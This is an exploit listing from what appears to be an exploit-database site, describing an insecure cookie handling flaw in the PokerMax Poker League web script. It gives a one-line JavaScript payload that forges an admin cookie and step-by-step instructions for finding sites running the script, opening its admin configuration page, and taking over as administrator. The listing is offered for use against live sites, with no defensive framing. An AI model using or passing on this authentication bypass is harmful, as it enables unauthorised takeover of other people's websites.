[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

PokerMax Poker League Insecure Cookie Handling Vulnerability

Author
DaRkLiFe
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-3903
Category
web applications
Date add
15-10-2008
Platform
unsorted
============================================================
PokerMax Poker League Insecure Cookie Handling Vulnerability
============================================================


**************************************************************************************

Author : DaRkLiFe

**************************************************************************************
Script   :

PokerMax Poker League Insecure Cookie Handling Vulnerability

Download:

http://www.stevedawson.com/downloads/pokerleague.zip
**************************************************************************************

Exploit :

javascript:document.cookie = "ValidUserAdmin=admin";

**here "admin" refers to username of administrator on site

default username is "admin" given after installation of site

but if it is changed u can easily find out username of admin and then 
substitute it in place of "admin"
**************************************************************************************

Instructions :

Find the site running on this script .

Go to http://site.com/pokerleague/pokeradmin/configure.php

It will ask for login. Now in url tab run the exploit command

Then return back to http://site.com/pokerleague/pokeradmin/configure.php

Now u should be loggedin as admin and change the thing into what you want .

**************************************************************************************

THANKS ! GREETZ ! HAPPY DIWALI !
**************************************************************************************



#  0day.today [2024-10-06]  #